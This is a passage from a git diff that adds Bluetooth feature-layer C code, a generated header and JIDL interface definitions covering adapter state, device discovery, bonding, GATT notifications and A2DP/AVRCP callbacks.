BT_STATUS_PARM_INVALID; + goto error; + } + bt_uuid128_create(&characteristic.service_uuid, uuid128); + + if (get_valid_uuid128(uuid128, params->characteristic->characteristicUuid)) { + FEATURE_LOG_ERROR("%s, Invalid characteristic UUID", __func__); + status = BT_STATUS_PARM_INVALID; + goto error; + } + bt_uuid128_create(&characteristic.uuid, uuid128); + + data = (gattc_data_t*)calloc(1, sizeof(gattc_data_t)); + if (!data) { + status = BT_STATUS_NOMEM; + goto error; + } + + data->interface = handle; + data->pid = pid; + data->userdata_type = FEATURE_GATTC_SET_NOTIFY; + bt_list_add_tail(gattc_info->userdata_list, data); + + status = bt_gattc_feature_set_notify_characteristic_changed_async(gattc_info->gattc->handle, &characteristic, params->enable, gattc_set_notify_cb, data); + if (status != BT_STATUS_SUCCESS) { + FEATURE_LOG_ERROR("%s, set notify failed, status: %d", __func__, status); + goto error; + } + + return; + +error: + if (data) + bt_list_remove(gattc_info->userdata_list, data); + + FeaturePromiseReject(handle, pid, bt_status_to_feature_error(status), "gattc set notify failed!"); +#else + FeaturePromiseReject(handle, pid, bt_status_to_feature_error(BT_STATUS_FAIL), "gattc is not supported."); +#endif +} + +FtBool system_bluetooth_ble_GattClient_interface_gattc_close(FeatureInterfaceHandle handle, AppendData append_data) +{ +#ifdef CONFIG_BLUETOOTH_GATT + feature_gattc_destroy(handle); + FeatureSetObjectData(handle, NULL); + return true; +#else + return false; +#endif +} diff --git a/feature/feature_async/src/bluetooth_impl.c b/feature/feature_async/src/bluetooth_impl.c new file mode 100644 index 0000000000000000000000000000000000000000..e4a1eb22c70515a980cf0a8a05c63018b0005793 --- /dev/null +++ b/feature/feature_async/src/bluetooth_impl.c @@ -0,0 +1,104 @@ +/* + * Copyright (C) 2025 Xiaomi Corporation. All rights reserved. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ +#include "bluetooth.h" +#include "bt_adapter.h" +#include "feature_bluetooth.h" +#include "feature_exports.h" +#include "feature_log.h" + +#define file_tag "bluetooth" + +void system_bluetooth_onRegister(const char* feature_name) +{ + FEATURE_LOG_INFO("%s::%s()", file_tag, __FUNCTION__); +} + +void system_bluetooth_onCreate(FeatureRuntimeContext ctx, FeatureProtoHandle handle) +{ + feature_bluetooth_init_bt_ins_async(handle); + FEATURE_LOG_INFO("%s::%s()", file_tag, __FUNCTION__); +} + +void system_bluetooth_onRequired(FeatureRuntimeContext ctx, FeatureInstanceHandle handle) +{ + FEATURE_LOG_INFO("%s::%s()", file_tag, __FUNCTION__); +} + +void system_bluetooth_onDetached(FeatureRuntimeContext ctx, FeatureInstanceHandle handle) +{ + FEATURE_LOG_INFO("%s::%s()", file_tag, __FUNCTION__); +} + +void system_bluetooth_onDestroy(FeatureRuntimeContext ctx, FeatureProtoHandle handle) +{ + FEATURE_LOG_INFO("%s::%s()", file_tag, __FUNCTION__); +} + +void system_bluetooth_onUnregister(const char* feature_name) +{ + FEATURE_LOG_INFO("%s::%s()", file_tag, __FUNCTION__); +} + +static void get_addr_cb(bt_instance_t* ins, bt_status_t status, bt_address_t* addr, void* userdata) +{ + feature_data_t* data = (feature_data_t*)userdata; + + if (FeatureInstanceIsDetached(data->feature_ins)) { + FeatureFreeInstanceHandle(data->feature_ins); + free(data); + return; + } + + if (addr != NULL) { + ft_context_ref ft_ctx = FeatureGetContext(data->feature_ins); + ft_value_t ret_obj = ft_new_object(ft_ctx); + char addr_str[BT_ADDR_STR_LENGTH] = { 0 }; + bt_addr_ba2str(addr, addr_str); + ft_value_t ret_data = ft_from_string(ft_ctx, addr_str); + ft_obj_set_property(ft_ctx, ret_obj, "address", ret_data); + + FeaturePromiseResolve(data->feature_ins, data->pid, &ret_obj); + ft_free_value(ft_ctx, ret_obj); + } else { + FeaturePromiseReject(data->feature_ins, data->pid, bt_status_to_feature_error(status), "get address failed!"); + } + + FeatureFreeInstanceHandle(data->feature_ins); + free(data); +} + +void system_bluetooth_wrap_getAddressAsync(FeatureInstanceHandle feature, AppendData append_data, FtPromiseId pid) +{ + feature_data_t* data; + bt_status_t status; + + data = (feature_data_t*)malloc(sizeof(feature_data_t)); + if (!data) + return; + + data->feature_ins = FeatureDupInstanceHandle(feature); + data->pid = pid; + + status = bt_adapter_get_address_async(feature_bluetooth_get_bt_ins(feature), get_addr_cb, (void*)data); + + if (status == BT_STATUS_SUCCESS) + return; + + FeaturePromiseReject(feature, pid, bt_status_to_feature_error(status), "get address failed!"); + FeatureFreeInstanceHandle(data->feature_ins); + free(data); +} \ No newline at end of file diff --git a/feature/feature_async/src/feature_bluetooth_util.c b/feature/feature_async/src/feature_bluetooth_util.c new file mode 100644 index 0000000000000000000000000000000000000000..ffd0e44986cab40b33afa5877dfe92aec67690f6 --- /dev/null +++ b/feature/feature_async/src/feature_bluetooth_util.c @@ -0,0 +1,178 @@ +/* + * Copyright (C) 2025 Xiaomi Corporation. All rights reserved. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +#include "feature_bluetooth.h" +#include "feature_log.h" +#include <kvdb.h> + +#define KVDB_USE_FEATURE "persist.using_bluetooth_feature" + +char* StringToFtString(const char* str) +{ + if (!str) { + return NULL; + } + int len = strlen(str); + char* ftStr = (char*)FeatureMalloc(len + 1, FT_CHAR); + strcpy(ftStr, str); + return ftStr; +} + +static bool feature_bluetooth_using_feature() +{ + static int using_bluetoothd_feature = -1; + + if (using_bluetoothd_feature == -1) { + using_bluetoothd_feature = property_get_bool(KVDB_USE_FEATURE, 1); + } + + return using_bluetoothd_feature; +} + +void feature_ble_list_free(void* data) +{ + free(data); +} + +static void feature_bluetooth_list_init(bt_instance_t* bt_ins) +{ + feature_bluetooth_features_info_t* features_info; + if (!bt_ins) { + return; + } + + features_info = (feature_bluetooth_features_info_t*)calloc(1, sizeof(feature_bluetooth_features_info_t)); + + assert(features_info); + + features_info->feature_ble_adv = bt_list_new(feature_ble_list_free); + features_info->feature_ble_scan = bt_list_new(feature_ble_list_free); + features_info->feature_ble_gattc = bt_list_new(feature_ble_list_free); + bt_ins->context = features_info; +} + +static void feature_bluetooth_list_uninit(bt_instance_t* bt_ins) +{ + feature_bluetooth_features_info_t* features_info; + if (!bt_ins) { + return; + } + + features_info = (feature_bluetooth_features_info_t*)bt_ins->context; + + bt_list_free(features_info->feature_ble_adv); + bt_list_free(features_info->feature_ble_scan); + bt_list_free(features_info->feature_ble_gattc); + free(bt_ins->context); + bt_ins->context = NULL; +} + +static void ipc_connected(bt_instance_t* ins, void* userdata) +{ + FEATURE_LOG_ERROR("ipc connected"); +} + +static void ipc_disconnected(bt_instance_t* ins, void* userdata, int status) +{ + FEATURE_LOG_ERROR("ipc disconnected"); +} + +void feature_bluetooth_init_bt_ins_async(FeatureProtoHandle handle) +{ + uv_loop_t* loop; + FeatureManagerHandle manager = FeatureGetManagerHandleFromProto(handle); + void* data = FeatureGetManagerUserData(manager, FEATURE_MANAGER_BLUETOOTH_DATA); + bt_instance_t* bluetooth_ins = (bt_instance_t*)data; + + if (!feature_bluetooth_using_feature()) { + FeatureSetProtoData(handle, NULL); + return; + } + + if (bluetooth_ins) { + FeatureSetProtoData(handle, bluetooth_ins); + return; + } + + loop = FeatureGetUVLoop(manager); + bluetooth_ins = bluetooth_create_async_instance(loop, ipc_connected, ipc_disconnected, NULL); + if (bluetooth_ins == NULL) { + FEATURE_LOG_ERROR("Failed to get Bluetooth instance."); + return; + } + + FeatureSetManagerUserDataWithFreeCallback(manager, FEATURE_MANAGER_BLUETOOTH_DATA, bluetooth_ins, feature_bluetooth_uninit_bt_ins_async); + feature_bluetooth_list_init(bluetooth_ins); + + FeatureSetProtoData(handle, bluetooth_ins); +} + +void feature_bluetooth_uninit_bt_ins_async(void* data) +{ + bt_instance_t* bluetooth_ins = (bt_instance_t*)data; + feature_bluetooth_features_info_t* features_info; + + if (!feature_bluetooth_using_feature()) { + return; + } + + features_info = (feature_bluetooth_features_info_t*)bluetooth_ins->context; + + if (!features_info) { + FEATURE_LOG_ERROR("Feature context not found."); + return; + } + + feature_bluetooth_list_uninit(bluetooth_ins); + bluetooth_delete_async_instance(bluetooth_ins); +} + +bt_instance_t* feature_bluetooth_get_bt_ins(FeatureInstanceHandle feature) +{ + FeatureProtoHandle protoHandle = FeatureGetProtoHandle(feature); + return FeatureGetProtoData(protoHandle); +} + +FeatureErrorCode bt_status_to_feature_error(uint8_t status) +{ + switch (status) { + case BT_STATUS_FAIL: + return FT_ERR_GENERAL; + case BT_STATUS_NOMEM: + return FT_ERR_GENERAL; + case BT_STATUS_NOT_ENABLED: + return FEATURE_BT_NOT_ENABLED; + case BT_STATUS_DONE: + return FT_ERR_DUPLICATE_SUBMISSION; + case BT_STATUS_NOT_SUPPORTED: + return FT_ERR_NOT_SUPPORTED; + case BT_STATUS_NO_RESOURCES: + return FEATURE_BT_NO_RESOURCES; + case BT_STATUS_IPC_ERROR: + return FEATURE_BT_IPC_ERROR; + case BT_STATUS_DEVICE_NOT_FOUND: + return FEATURE_BT_NOT_FOUND; + case BT_STATUS_PARM_INVALID: + return FT_ERR_ARGS; + case BT_STATUS_NOT_FOUND: + return FEATURE_BT_NOT_FOUND; + case BT_STATUS_ERROR_BUT_UNKNOWN: + return FEATURE_BT_UNKNOWN_ERROR; + default: + return FT_ERR_GENERAL; + } +} \ No newline at end of file diff --git a/feature/include/feature_bluetooth.h b/feature/include/feature_bluetooth.h new file mode 100644 index 0000000000000000000000000000000000000000..4ec5fa37178c58ddb3d8d5c07f05785ac864b452 --- /dev/null +++ b/feature/include/feature_bluetooth.h @@ -0,0 +1,103 @@ +/* + * This file is auto-generated by jsongensource.py, Do not modify it directly! + */ + +/* + * Copyright (C) 2023 Xiaomi Corporation. All rights reserved. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +#ifndef FEATURE_BLUETOOTH_CONSTANT_H_ +#define FEATURE_BLUETOOTH_CONSTANT_H_ +#include "bluetooth.h" +#include "bt_list.h" +#include "feature_exports.h" + +typedef enum { + A2DP_SINK, + A2DP_SOURCE, + HFP_AG, + HFP_HF, + HID_DEVICE, + PAN_USE, + MAX_FEATURE_ID, +} feature_bluetooth_profile_t; + +typedef enum { + ON_ADAPTER_STATE_CHANGE, + ON_DISCOVERY_RESULT, + ON_BOND_STATE_CHANGE, + A2DPSINK_ON_CONNECT_STATE_CHANGE, + AVRCPCONTROL_ELEMENT_ATTRIBUTE_CALLBACK, +} feature_bluetooth_callback_t; + +typedef enum { + FEATURE_BLUETOOTH, + FEATURE_BLUETOOTH_BT, + FEATURE_BLUETOOTH_A2DPSINK, + FEATURE_BLUETOOTH_AVRCPCONTROL, +} feature_bluetooth_feature_type_t; + +typedef struct { + FeatureInstanceHandle* feature_ins; + FtCallbackId on_adapter_state_changed_cb_id; +} feature_bluetooth_bluetooth_callbacks_t; + +typedef struct { + FeatureInstanceHandle* feature_ins; + FtCallbackId on_discovery_result_cb_id; + FtCallbackId on_bond_state_changed_cb_id; +} feature_bluetooth_bluetooth_bt_callbacks_t; + +typedef struct { + FeatureInstanceHandle* feature_ins; + FtCallbackId a2dp_sink_connection_state_cb_id; +} feature_bluetooth_a2dp_sink_callbacks_t; + +typedef struct { + FeatureInstanceHandle* feature_ins; + FtCallbackId avrcp_control_element_attribute_cb_id; +} feature_bluetooth_avrcp_control_callbacks_t; + +typedef struct { + FtCallbackId feature_callback_id; + void* feature; + void* data; +} callback_info_t; + +typedef struct { + uv_mutex_t mutex; + bt_list_t* feature_bluetooth_callbacks; + bt_list_t* feature_bluetooth_bt_callbacks; + bt_list_t* feature_a2dp_sink_callbacks; + bt_list_t* feature_avrcp_control_callbacks; + uint32_t created_features; +} feature_bluetooth_features_info_t; + +void feature_bluetooth_deal_callback(int status, void* data); +void feature_bluetooth_remove_callback(int status, void* data); +void feature_bluetooth_post_task(FeatureInstanceHandle handle, FtCallbackId callback_id, void* data); +char* StringToFtString(const char* str); +void feature_bluetooth_init_bt_ins(feature_bluetooth_feature_type_t feature, FeatureProtoHandle handle); +void feature_bluetooth_uninit_bt_ins(feature_bluetooth_feature_type_t feature, FeatureProtoHandle handle); +bt_instance_t* feature_bluetooth_get_bt_ins(FeatureInstanceHandle feature); + +void feature_bluetooth_add_feature_callback(FeatureInstanceHandle handle, feature_bluetooth_feature_type_t feature_type); +void feature_bluetooth_free_feature_callback(FeatureInstanceHandle handle, feature_bluetooth_feature_type_t feature_type); +void feature_bluetooth_set_feature_callback(FeatureInstanceHandle handle, FtCallbackId callback_id, feature_bluetooth_callback_t callback_type); +FtCallbackId feature_bluetooth_get_feature_callback(FeatureInstanceHandle handle, feature_bluetooth_callback_t callback_type); +void feature_bluetooth_callback_init(bt_instance_t* bt_ins); +void feature_bluetooth_callback_uninit(bt_instance_t* bt_ins); +#endif // FEATURE_BLUETOOTH_CONSTANT_H_ \ No newline at end of file diff --git a/feature/jidl/bluetooth.jidl b/feature/jidl/bluetooth.jidl new file mode 100644 index 0000000000000000000000000000000000000000..f04252b8260d84f0e4377fc9026f80dada7da78e --- /dev/null +++ b/feature/jidl/bluetooth.jidl @@ -0,0 +1,45 @@ +module system.bluetooth@1.0 + +callback openAdapterSuccess() +callback openAdapterFail(string data, int code) +callback openAdapterComplete() +struct OpenAdapterParams { + boolean operateAdapter = false + callback openAdapterSuccess success + callback openAdapterFail fail + callback openAdapterComplete complete +} +void openAdapter(OpenAdapterParams params) + +callback closeAdapterSuccess() +callback closeAdapterFail(string data, int code) +callback closeAdapterComplete() +struct CloseAdapterParams { + boolean operateAdapter = false + callback closeAdapterSuccess success + callback closeAdapterFail fail + callback closeAdapterComplete complete +} +void closeAdapter(CloseAdapterParams params) + +struct GetAdapterSuccessResult { + boolean available + boolean discovering +} +callback getAdapterStateSuccess(GetAdapterSuccessResult data) +callback getAdapterStateFail(string data, int code) +callback getAdapterStateComplete() +struct GetAdapterStateParams { + callback getAdapterStateSuccess success + callback getAdapterStateFail fail + callback getAdapterStateComplete complete +} +void getAdapterState(GetAdapterStateParams params) + + +struct adapterStateCallbackData { + boolean available + boolean discovering +} +callback adapterStateChange(adapterStateCallbackData data) +property adapterStateChange onadapterstatechange diff --git a/feature/jidl/bluetooth_bt.jidl b/feature/jidl/bluetooth_bt.jidl new file mode 100644 index 0000000000000000000000000000000000000000..b3dec92935e31ffdd0066787b0fc656c89436655 --- /dev/null +++ b/feature/jidl/bluetooth_bt.jidl @@ -0,0 +1,105 @@ +module system.bluetooth.bt@1.0 + +callback startDiscoverySuccess() +callback startDiscoveryFail(string data, int code) +callback startDiscoveryComplete() +struct StartDiscoveryParams { + callback startDiscoverySuccess success + callback startDiscoveryFail fail + callback startDiscoveryComplete complete +} +void startDiscovery(StartDiscoveryParams params) + +callback stopDiscoverySuccess() +callback stopDiscoveryFail(string data, int code) +callback stopDiscoveryComplete() +struct StopDiscoveryParams { + callback stopDiscoverySuccess success + callback stopDiscoveryFail fail + callback stopDiscoveryComplete complete +} +void stopDiscovery(StopDiscoveryParams params) + + +struct DiscoveryResultCallbackData { + string deviceId + string name + uint cod + uint rssi +} +callback discoveryResultChange(DiscoveryResultCallbackData data) +property discoveryResultChange ondiscoveryresult + + +callback connectProfilesSuccess() +callback connectProfilesFail(string data, int code) +callback connectProfilesComplete() +struct ConnectProfilesParams { + string deviceId + int[] profiles + callback connectProfilesSuccess success + callback connectProfilesFail fail + callback connectProfilesComplete complete +} +void connectProfiles(ConnectProfilesParams params) + +callback disconnectProfilesSuccess() +callback disconnectProfilesFail(string data, int code) +callback disconnectProfilesComplete() +struct DisconnectProfilesParams{ + string deviceId + int[] profiles + callback disconnectProfilesSuccess success + callback disconnectProfilesFail fail + callback disconnectProfilesComplete complete +} +void disconnectProfiles(DisconnectProfilesParams params) + +callback disconnectSuccess() +callback disconnectFail(string data, int code) +callback disconnectComplete() +struct DisconnectParams{ + string deviceId + callback disconnectSuccess success + callback disconnectFail fail + callback disconnectComplete complete +} +void disconnect(DisconnectParams params) + +boolean getConnectState(string deviceId) + +struct connectedDevice { + string deviceId + string name + int cod +} +string[] getConnectedDevices() + +string[] getBondedDevices() + +struct onBondStateChangeData { + string deviceId + int bondState +} +callback onBondStateChangeCallback(onBondStateChangeData data) +property onBondStateChangeCallback onbondstatechange + +callback removeBondedSuccess() +callback removeBondedFail(string data, int code) +callback removeBondedComplete() +struct RemoveBondedParams{ + string deviceId + callback removeBondedSuccess success + callback removeBondedFail fail + callback removeBondedComplete complete +} +void removeBondedDevice(RemoveBondedParams params) + + +boolean setScanMode(int scanMode) + +int getScanMode() + +string getDeviceName(string deviceId) + +uint getDeviceClass(string deviceId) diff --git a/feature/jidl/bluetooth_bt_a2dpsink.jidl b/feature/jidl/bluetooth_bt_a2dpsink.jidl new file mode 100644 index 0000000000000000000000000000000000000000..d61751d6d5deb8d49523146432ef9494930b440b --- /dev/null +++ b/feature/jidl/bluetooth_bt_a2dpsink.jidl @@ -0,0 +1,9 @@ +module system.bluetooth.bt.a2dpsink@1.0 + + +struct OnConnectStateChangeData { + string deviceId + int connectState +} +callback onConnectStateChangeCallback(OnConnectStateChangeData data) +property onConnectStateChangeCallback onconnectstatechange \ No newline at end of file diff --git a/feature/jidl/bluetooth_bt_avrcpcontrol.jidl b/feature/jidl/bluetooth_bt_avrcpcontrol.jidl new file mode 100644 index 0000000000000000000000000000000000000000..d792e1dce76cbd223c9f14b8ca53ad7866cdd988 --- /dev/null +++ b/feature/jidl/bluetooth_bt_avrcpcontrol.jidl @@ -0,0 +1,27 @@ +module system.bluetooth.bt.avrcpcontrol@1.0 + +callback startGetElementAttributeSuccess() +callback startGetElementAttributeFail(string data, int code) +callback startGetElementAttributeComplete() +struct StartGetElementAttributeParams { + string deviceId + callback startGetElementAttributeSuccess success + callback startGetElementAttributeFail fail + callback startGetElementAttributeComplete complete +} +void startGetElementAttribute(StartGetElementAttributeParams params) + +struct attr_info_t { + int attrId + int chrSet + string text +} + +struct OnElementAttributeData { + string deviceId + int attrsCount + attr_info_t[] attrs; +} + +callback ElementAttributeCallback(OnElementAttributeData data) +property ElementAttributeCallback onElementattribute \ No newline at end of file diff --git a/feature/src/feature_bluetooth_callback.c b/feature/src/feature_bluetooth_callback.c new file mode 100644 index 0000000000000000000000000000000000000000..54ff3901d27bf5bdeb30822921dd57d14d4ab3ea --- /dev/null +++ b/feature/src/feature_bluetooth_callback.c @@ -0,0 +1,784 @@ +/* + * Copyright (C) 2024 Xiaomi Corporation. All rights reserved. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ +#include "bt_a2dp_sink.h" +#include "bt_adapter.h" +#include "bt_avrcp_control.h" +#include "bt_list.h" +#include "feature_bluetooth.h" +#include "feature_exports.h" +#include "feature_log.h" +#include "system_bluetooth.h" +#include "system_bluetooth_bt.h" +#include "system_bluetooth_bt_a2dpsink.h" +#include "system_bluetooth_bt_avrcpcontrol.h" +#include "uv.h" + +#define REMOVE_CALLBACK(feature_callback, callback_type) \ + do { \ + if (feature_callback->callback_type != -1) { \ + feature_bluetooth_post_task(feature_callback->feature_ins, feature_callback->callback_type, NULL); \ + } \ + feature_callback->callback_type = -1; \ + } while (0); + +#define add_feature_callback(feature_callbacks, new_callbacks_type, handle) \ + { \ + new_callbacks_type* new_callback = (new_callbacks_type*)malloc(sizeof(new_callbacks_type)); \ + /* The hexadecimal representation of -1 is 0xFF */ \ + memset(new_callback, -1, sizeof(new_callbacks_type)); \ + new_callback->feature_ins = handle; \ + bt_list_add_tail(feature_callbacks, new_callback); \ + } + +#define set_feature_callback(feature_callbacks, callbacks_type, find_func, handle, callback_id, callback_type) \ + { \ + callbacks_type* callbacks = (callbacks_type*)bt_list_find(feature_callbacks, find_func, handle); \ + REMOVE_CALLBACK(callbacks, callback_type) \ + callbacks->callback_type = callback_id; \ + }; + +#define get_feature_callback(feature_callbacks, callbacks_type, find_func, handle, callback_id, callback_type) \ + { \ + callbacks_type* callbacks = (callbacks_type*)bt_list_find(feature_callbacks, find_func, handle); \ + callback_id = callbacks->callback_type; \ + }; + +static bool get_callback_bluetooth(void* data, void* feature_ins) +{ + feature_bluetooth_bluetooth_callbacks_t* callbacks = (feature_bluetooth_bluetooth_callbacks_t*)data; + if (!callbacks) { + return false; + } + + return callbacks->feature_ins == feature_ins; +} + +static bool get_callback_bluetooth_bt(void* data, void* feature_ins) +{ + feature_bluetooth_bluetooth_bt_callbacks_t* callbacks = (feature_bluetooth_bluetooth_bt_callbacks_t*)data; + if (!callbacks) { + return false; + } + + return callbacks->feature_ins == feature_ins; +} + +static bool get_callback_a2dp_sink(void* data, void* feature_ins) +{ + feature_bluetooth_a2dp_sink_callbacks_t* callbacks = (feature_bluetooth_a2dp_sink_callbacks_t*)data; + if (!callbacks) { + return false; + } + + return callbacks->feature_ins == feature_ins; +} + +static bool get_callback_avrcp_control(void* data, void* feature_ins) +{ + feature_bluetooth_avrcp_control_callbacks_t* callbacks = (feature_bluetooth_avrcp_control_callbacks_t*)data; + if (!callbacks) { + return false; + } + + return callbacks->feature_ins == feature_ins; +} + +static void free_feature_callback(bt_list_t* callbacks, FeatureInstanceHandle handle, bt_list_find_cb find_func) +{ + void* data; + + if (!callbacks) { + return; + } + + data = bt_list_find(callbacks, find_func, handle); + if (data) { + bt_list_remove(callbacks, data); + } +} + +static void free_feature_bluetooth_node(void* node) +{ + feature_bluetooth_bluetooth_callbacks_t* feature_callback = (feature_bluetooth_bluetooth_callbacks_t*)node; + + if (!feature_callback) { + return; + } + + REMOVE_CALLBACK(feature_callback, on_adapter_state_changed_cb_id); + free(feature_callback); +} + +static void free_feature_bluetooth_bt_node(void* node) +{ + feature_bluetooth_bluetooth_bt_callbacks_t* feature_callback = (feature_bluetooth_bluetooth_bt_callbacks_t*)node; + + if (!feature_callback) { + return; + } + + REMOVE_CALLBACK(feature_callback, on_bond_state_changed_cb_id); + REMOVE_CALLBACK(feature_callback, on_discovery_result_cb_id); + free(feature_callback); +} + +static void free_feature_bluetooth_a2dp_sink_node(void* node) +{ + feature_bluetooth_a2dp_sink_callbacks_t* feature_callback = (feature_bluetooth_a2dp_sink_callbacks_t*)node; + + if (!feature_callback) { + return; + } + + REMOVE_CALLBACK(feature_callback, a2dp_sink_connection_state_cb_id); + free(feature_callback); +} + +static void free_feature_bluetooth_avrcp_control_node(void* node) +{ + feature_bluetooth_avrcp_control_callbacks_t* feature_callback = (feature_bluetooth_avrcp_control_callbacks_t*)node; + + if (!feature_callback) { + return; + } + + REMOVE_CALLBACK(feature_callback, avrcp_control_element_attribute_cb_id); + free(feature_callback); +} + +static void on_adapter_state_changed_cb(void* cookie, bt_adapter_state_t state) +{ + bt_instance_t* bt_ins = (bt_instance_t*)cookie; + feature_bluetooth_features_info_t* features_callbacks; + bt_list_t* callbacks; + bt_list_node_t* node; + + FEATURE_LOG_DEBUG("adapter state change callback, state: %d", state); + if (!bt_ins) { + return; + } + + features_callbacks = (feature_bluetooth_features_info_t*)bt_ins->context; + if (!features_callbacks) { + return; + } + + uv_mutex_lock(&features_callbacks->mutex); + callbacks = features_callbacks->feature_bluetooth_callbacks; + if (!callbacks) { + uv_mutex_unlock(&features_callbacks->mutex); + return; + } + + node = bt_list_head(callbacks); + if (!node) { + uv_mutex_unlock(&features_callbacks->mutex); + return; + } + + while (node) { + feature_bluetooth_bluetooth_callbacks_t* feature_callback; + system_bluetooth_adapterStateCallbackData* data; + + feature_callback = (feature_bluetooth_bluetooth_callbacks_t*)bt_list_node(node); + if (!feature_callback) { + break; + } + + FEATURE_LOG_DEBUG("feature:%p, callbackId:%d", feature_callback->feature_ins, feature_callback->on_adapter_state_changed_cb_id); + if (state != BT_ADAPTER_STATE_ON && state != BT_ADAPTER_STATE_OFF) { + break; + } + + data = system_bluetoothMallocadapterStateCallbackData(); + if (!data) { + continue; + } + + data->available = state == BT_ADAPTER_STATE_ON; + data->discovering = bt_adapter_is_discovering(bt_ins); + + feature_bluetooth_post_task(feature_callback->feature_ins, feature_callback->on_adapter_state_changed_cb_id, data); + node = bt_list_next(callbacks, node); + } + uv_mutex_unlock(&features_callbacks->mutex); +} + +static void on_discovery_state_changed_cb(void* cookie, bt_discovery_state_t state) +{ + bt_instance_t* bt_ins = (bt_instance_t*)cookie; + feature_bluetooth_features_info_t* features_callbacks; + bt_list_t* callbacks; + bt_list_node_t* node; + + FEATURE_LOG_DEBUG("discovery state change callback, state: %d", state); + if (!bt_ins) { + return; + } + + features_callbacks = (feature_bluetooth_features_info_t*)bt_ins->context; + + if (!features_callbacks) { + return; + } + + uv_mutex_lock(&features_callbacks->mutex); + callbacks = features_callbacks->feature_bluetooth_callbacks; + if (!callbacks) { + uv_mutex_unlock(&features_callbacks->mutex); + return; + } + + node = bt_list_head(callbacks); + if (!node) { + uv_mutex_unlock(&features_callbacks->mutex); + return; + } + + while (node) { + feature_bluetooth_bluetooth_callbacks_t* feature_callback; + system_bluetooth_adapterStateCallbackData* data; + + feature_callback = (feature_bluetooth_bluetooth_callbacks_t*)bt_list_node(node); + if (!feature_callback) { + break; + } + + FEATURE_LOG_DEBUG("feature:%p, callbackId:%d", feature_callback->feature_ins, feature_callback->on_adapter_state_changed_cb_id); + data = system_bluetoothMallocadapterStateCallbackData(); + if (!data) { + continue; + } + + data->available = bt_adapter_get_state(bt_ins) == BT_ADAPTER_STATE_ON; + data->discovering = state == BT_DISCOVERY_STATE_STARTED; + + feature_bluetooth_post_task(feature_callback->feature_ins, feature_callback->on_adapter_state_changed_cb_id, data); + node = bt_list_next(callbacks, node); + } + uv_mutex_unlock(&features_callbacks->mutex); +} + +static void on_discovery_result_cb(void* cookie, bt_discovery_result_t* result) +{ + bt_instance_t* bt_ins = (bt_instance_t*)cookie; + feature_bluetooth_features_info_t* features_callbacks; + bt_list_t* callbacks; + bt_list_node_t* node; + + FEATURE_LOG_DEBUG("discovery result callback"); + if (!bt_ins) { + return; + } + + features_callbacks = (feature_bluetooth_features_info_t*)bt_ins->context; + + if (!features_callbacks) { + return; + } + + uv_mutex_lock(&features_callbacks->mutex); + callbacks = features_callbacks->feature_bluetooth_bt_callbacks; + if (!callbacks) { + uv_mutex_unlock(&features_callbacks->mutex); + return; + } + + node = bt_list_head(callbacks); + if (!node) { + uv_mutex_unlock(&features_callbacks->mutex); + return; + } + + while (node) { + feature_bluetooth_bluetooth_bt_callbacks_t* feature_callback; + system_bluetooth_bt_DiscoveryResultCallbackData* data; + char addr_str[BT_ADDR_STR_LENGTH] = { 0 }; + + feature_callback = (feature_bluetooth_bluetooth_bt_callbacks_t*)bt_list_node(node); + if (!feature_callback) { + break; + } + + FEATURE_LOG_DEBUG("feature:%p, callbackId:%d", feature_callback->feature_ins, feature_callback->on_discovery_result_cb_id); + data = system_bluetooth_btMallocDiscoveryResultCallbackData(); + if (!data) { + continue; + } + + data->name = StringToFtString(result->name); + bt_addr_ba2str(&result->addr, addr_str); + data->deviceId = StringToFtString(addr_str); + data->cod = result->cod; + data->rssi = -result->rssi; + + feature_bluetooth_post_task(feature_callback->feature_ins, feature_callback->on_discovery_result_cb_id, data); + node = bt_list_next(callbacks, node); + } + uv_mutex_unlock(&features_callbacks->mutex); +} + +static void on_bond_state_changed_cb(void* cookie, bt_address_t* addr, bt_transport_t transport, bond_state_t state, bool is_ctkd) +{ + bt_instance_t* bt_ins = (bt_instance_t*)cookie; + feature_bluetooth_features_info_t* features_callbacks; + bt_list_t* callbacks; + bt_list_node_t* node; + + FEATURE_LOG_DEBUG("bond state callback"); + if (transport != BT_TRANSPORT_BREDR) { + return; + } + + if (!bt_ins) { + return; + } + + features_callbacks = (feature_bluetooth_features_info_t*)bt_ins->context; + + if (!features_callbacks) { + return; + } + + uv_mutex_lock(&features_callbacks->mutex); + callbacks = features_callbacks->feature_bluetooth_bt_callbacks; + if (!callbacks) { + uv_mutex_unlock(&features_callbacks->mutex); + return; + } + + node = bt_list_head(callbacks); + if (!node) { + uv_mutex_unlock(&features_callbacks->mutex); + return; + } + + while (node) { + feature_bluetooth_bluetooth_bt_callbacks_t* feature_callback; + system_bluetooth_bt_onBondStateChangeData* data; + char addr_str[BT_ADDR_STR_LENGTH] = { 0 }; + + feature_callback = (feature_bluetooth_bluetooth_bt_callbacks_t*)bt_list_node(node); + if (!feature_callback) { + break; + } + + FEATURE_LOG_DEBUG("feature:%p, callbackId:%d", feature_callback->feature_ins, feature_callback->on_bond_state_changed_cb_id); + data = 